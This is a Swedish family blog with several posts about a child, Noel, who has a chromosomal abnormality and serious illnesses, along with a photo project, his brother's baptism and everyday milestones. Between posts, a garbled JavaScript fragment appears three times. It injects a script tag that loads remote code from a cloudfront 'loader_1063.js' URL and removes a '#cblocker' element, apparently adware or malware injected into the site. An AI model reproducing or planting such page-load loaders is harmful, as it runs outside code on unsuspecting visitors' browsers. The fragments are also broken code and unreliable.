Essence Vitae projektet

Vi har fått privilegiet att få medverka i Essence Vitae projektet. För ett par veckor sedan var fotografen Isabella Hesselberg hemma hos oss och fotograferade. Precis emellan ett jobbigt virus och en kommande magsjuka. Alltså blev det ett bra tajmat möte. En fin, solig, inte allt för kall höstdag. Det blev några bilder hemma och några bilder ute. Såklart med Noel i fokus, men även syskonbilder och bilder på hela familjen.

Vi är otroligt tacksamma för detta. Att få minnen förevigade på bild. Bilder som kommer hängas upp, tittas på med glädje i ögonen.

Vi får bilderna om någon vecka eller två. Och jag kommer lägga upp några här på bloggen. Vi har även valt att delta på Essence Vitaes hemsida med bilder och med vår berättelse…det kommer att komma upp så småningom..

Tack Isabelle och alla inblandade!

Här är vår berättelse;
Har du någon gång stått på en avgrund, full av förväntan, förhoppningar och längtan, redo att kasta dig ut i framtiden och omfamna allt vackert som framtiden har att erbjuda? För att sedan känna hur marken under dig rycks undan och istället för att flyga iväg bland kvittrande fåglar och bländande sol, falla ned mot ett bottenlöst, skrämmande, mörkt och okänt mörker.

Nu är det snart tre år sedan vi föll, sedan vi fick lära känna en ny värld, lära känna en ny del av oss själva, vår livspartner, av vår familj, av våra vänner. En ny värld där vissa saker är antingen svart eller vitt eller precis vart som helst där emellan. En värld där varje minut tillsammans är den allra viktigaste och där varje sekund kan vara den avgörande. En värld där dom fina minnena lagras längst in i själen och där dom jobbiga minnena tar plats i huvudet och sakta men säkert bygger upp en mur gjord av oro, skräck, måsten, rädsla och ovisshet. En värld som är annorlunda men också så vanlig. En värld med många sjukhusdagar och många sömnlösa nätter. En värld av skratt från själen och äkta livsglädje, av envishet och vilja och av det största tänkbara hjältemod. En värld av vardag och av sjukhusliv, av nålstick och storhandling. En värld men en sjuk storebror och en frisk lillebror. En värld med den egna bubblan och den andra verkligheten. En värld där dagarna stannar upp eller där dom hastigt försvinner iväg.

Nu är det snart tre år sedan vi skapade och lärde känna en ny värld, ett nytt liv, ett liv med Noel. Vår lilla guldklimp. Han med glimten i ögat och det halvlockiga, lite för rufsiga håret. Han som alltid somnar och vaknar med ett leende på läpparna, ett leende som smittar, likt skrattet som får världen att stanna upp. Han som snart är tre, men ungefär lika stor som ettåriga lillebror, kanske lite större, än så länge. Han som bodde i magen i 9 månader som ”alla andra”, plus 14 dagar extra. Han som kom till världen helt utan problem men som ändå fick hela världen att falla under våra fötter dagen han föddes. En liten kille med en enorm, obeskrivlig livsglädje och vilja att finnas till. En liten kille med en liten kromosomavvikelse. Två hjärtfel, sjuka lungor, en blodsjukdom, analatresi, tillväxthämning och utvecklingsstörning. En liten kille med en sådan stor glädje för livet.

Noel, han som kämpat sedan dag ett. Han som sover med syrgas och får blod i sin port a cath. Han som någon gång kommer lära sig gå. Han som springer i sin gåstol från rum till rum och som skrattar när han åker bil. Han som nästan alltid är glad, och som alltid är modig. Han som nästan tagits ifrån oss ett par gånger men som mirakulöst tagit sig tillbaka. Han, vår lilla trollunge, som lärt oss så ofantligt mycket om livet. Han, är det absolut bästa som hänt oss.

En mamma, en av dom starkaste, sa till mig en gång, en dag i början då allt var som värst, som nyast. Att Noel, han hade valt att komma till oss. Han valde oss av en anledning, för att vi skulle älska, uppskatta, se efter, ge kärlek, oavsett hur han är. Att han valde att komma till oss för att han visste att vi skulle älska Noel så som Noel är. Och det är ju precis så. Vi älskar guldklimpen precis som han är, vår starka, fantastiska, modiga lilla knasunge. En sköterska tittade så snett på mig en gång då jag kallade Noel för min lilla knasunge, men för oss är det ju inte längre något konstigt med ”det där” kromosomknaset. Vi sörjde länge, och gör fortfarande i perioder att Noel inte ”är som alla andra”, men vi har fått så mycket annat, sådant vi inte skulle ha fått om Noel fötts helt frisk utan sin avvikelse. Så mycket som vi lärt oss av livet, av oss själva. Av att uppskatta dom små sakerna i livet och att kunna leva i nuet, njuta av här och nu, av det som ingen kan ta ifrån oss. Vi har lärt oss att se världen, den nya, med helt nya ögon, på ett annat sätt. Kanske mer ödmjukt, kanske ibland bittert, men allt oftast med tacksamhet, över dom dagar vi får tillsammans, över dom dagar vi minns som fina och över dom stunder som får oss att växa starka tillsammans.

Livets väg har vi lärt oss är krokig, den går uppåt, nedåt, den vänder snabbt, kan ibland gå bakåt. Den går sällan rakt framåt. Men som min mamma sagt, om man går vilse hittar man nya vägar. Och ofta känns det som vi famlar i mörkret, som att livets väg står still eller inte går framåt alls, men vi lär oss hitta nya vägar, nya sätt att övervinna mörkrets list. Vi har lärt oss acceptera det annorlunda, lärt oss se det fina i det som inte är självklart. Vi har övervunnit våra egna rädslor och hittat styrkan i varandra. Att få ett barn med handikapp, utvecklingsstörning och allvarliga sjukdomar är tungt, det är kämpigt och ledsamt ibland. Men jag vill att människor ska förstå att det är minst lika underbart och fullt av glädje och kärlek, vi har också en vanlig vardag med matlistor, storstädning, besiktning av bilen, vardagspussel och ”vanliga” aktiviteter. Många saker kanske är annorlunda, många saker måste vi anpassa efter Noel, men vi har skapat vår egen vardag, våra rutiner, det som är bäst för vår familj.

Vi är så tacksamma över att guldklimpen finns hos oss, över den tid vi hittills fått tillsammans. Framtiden är oviss, och ovissheten har en gnagande, oroande effekt. Kanske blir vår hjälte inte så gammal, kanske blir han äldre än lillebror. Ovissheten är det som är jobbigast. Att nästa magsjuka kan kosta honom livet. Men på något sätt lär vi oss leva med ovissheten och tar en dag i taget. En dag av livet i taget. Livet med Noel!

När Noel var några månader fattade jag pennan och började skriva. Ibland ofta, ibland sällan. Idag skriver jag nog mer sällan. Kanske för att behovet inte är lika stort eller för att vardagen är full av annat än tid att skriva. Men arkivet finns kvar. Informationen om Noels diagnoser finns kvar. Och då och då uppdaterar jag om sådant som är viktigt, mindre viktigt eller bara en rolig inblick i vår underbara, annorlunda vardag.

Orden, texterna och bilderna hittar ni på; noelvaldeoss.spotlife.se

Man går aldrig helt ensam på livets väg!

Varma hälsningar,
Carolina, Ted, Noel och Leon.

Njuter

Njuter av stunder som dessa. Andas in och stannar tiden…

IMG_5315 IMG_5323 IMG_5338 IMG_5352 IMG_5368 IMG_5353Älskar dom här två knoddarna så obeskrivligt mycket. Dom allra finaste och det absolut bästa som hänt mig!

Ljusglimtar

Det finns dagar som är vanliga, som är fulla av rutin och vardag. Det finns dagar som är tunga, jobbiga och fulla med oro. Och så finns det dom där sällsynta dagarna som bara är fulla av glädje, av små, små händelser eller företeelser där allt bara fungerar, där lyckan och glädjen är total. Dom där som ljusglimtarna är det jag lever på, dom där små ögonblicken som man lagrar inom sig.

I tisdags fanns det många ögonblick att spara inom sig. Helt plötsligt så fungerade det att sitta ute på gräset med Noel, och lyckan var total!

IMG_4966 IMG_4960 IMG_4945 IMG_4950 IMG_4970 IMG_4963

Hoppas på många fler dagar utomhus, förra året kunde vi njuta av sommaren ute nästan varje dag på det här viset. Hoppas att det ”släppt” för Noel nu, om det så är en vanesak eller pollen/sjukdom som gjort att han inte velat vara ute innan…Jag är överlycklig över denna lilla stund, även om det skulle vara den enda vi får i sommar!

Leons dop 14/4-13

För några veckor sedan hade vi dop för Leon. Det blev otroligt fint och lyckat. Mycket stress och planering innan dopet och en sjuk Noel, men väl i kyrkan så fann sig lugnet och det blev en väldigt fin ceremoni. Som på Noels dop hade vi även denna gången lyckan att få höra min vän Jasmine och hennes bröder spela och sjunga i kyrkan. Vi valde Kents ”utan dina andetag” och Sonja Aldéns ”Du är allt”. Många av mina vänner som bor långt bort kunde dessvärre inte komma men kyrkan var full av våra familjer och nära vänner ändå. Jag älskar barndop, jag tycker att det är en otroligt fin ceremoni, oavsett om man döper i kyrkan eller om man kanske har en namngivelse hemma. Jag tycker det är fint att sätta barnet i centrum och att reflektera över det mirakel som barnet faktiskt är!

Vi hade egentligen velat haft samma präst som på Noels dop men hon var dessvärre bortrest denna helgen, men vi fick en jättefin präst ändå som var väldigt förstående och empatisk. Hon hade egna erfarenheter av ett sjukt och handikappat barn och tyckte inget med Noel var konstigt. Noel fick vara med framme i kyrkan hela tiden, det gick helt ok, hade nog förväntat mig en del skrik och motarbete, men han var rätt lugn och glad ändå!

Dopet hölls i Matteuskyrkan och vi fikade sedan i Matteusgården. Det blev nog en lagom lång fika men som alltid lite stressigt att försöka hinna med att prata med alla man vill prata med, speciellt dem som åkt lång väg för att komma på dopet. Mina föräldrar och syster (barnens gudmor) hade som ex åkt från Dalarna ner, däremot så stannade dem ju över helgen så det var skönt det!

Leon var glad och vaken hela dopet, dock väldigt trött på slutet! Han tackar ödmjukast för all uppvaktning och för alla fina presenter!

 

 

 

 

 

 

 

5 dagar till BF

Vi gjorde ett försök till att få till några bilder innan bebis tittat ut…sammanfattningen av vårt försök är att nästa gång vi vill ha några riktigt fina bilder så anlitar vi ett proffs..dessutom så är det kanske ett plus att alla som ska vara med är på bra humör och lite samarbetsvilliga 😉 En och annan bild går kanske att göra något av iaf, å andra sidan så är det ett fint minne vilket som!

Ett år senare…..

17 Juli 2011:

 

16 Juli 2012:

Ibland måste man påminna sig själv om hur långt denna lilla kille kommit, man får nypa sig lite i armen….

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Välkomna till världen

7 Juni kom äntligen lilla Adrian ut till världen. Grattis Jasmine och Agim till finaste lillebror!

10 Juni hittade även Elvis lillasyster Enya ut, efter en något dramatisk förlossning så kom du också ut till slut. Grattis Simone och Nicklas till underbara lilltjejen!

Får lägga upp bilder på dom nykläckta bebisarna så fort jag fått okej från mammor och pappor!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Att stå själv

Vår helt egna fantastiska Noel som utvecklas på sitt helt egna vis, bortom alla normer och normala kurvor, men med full envishet så tar han sig an utmaning efter utmaning. Det nya är som sagt att stå upp. Nu mer står han själv uppåt någon minut och leker med saker som ligger i lagom stå-höjd på. Visserligen tar han stöd själv mot ex. soffan eller soffbordet, men förstår ni vilken fantastisk utveckling han gjort bara de senaste veckorna…Dock hade det ju varit praktiskt om den där sitta-själv-utan-stöd tekniken fanns där till fullo när man tappar balansen och drattar på ändan, fast det gör inget, för det är fantastiskt att han vill stå upp själv, han får dratta på ändan så många gånger han vill, vi tar emot varje gång tills han klarar av det helt själv!

 

 

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Den roliga pappan och den busiga sonen

Vet inte vad det är, men det är något speciellt med pappor och när dem leker/busar med sina barn…på något sätt så känns det som att papporna är mycket, mycket roligare än vi mammor :) I alla fall ibland!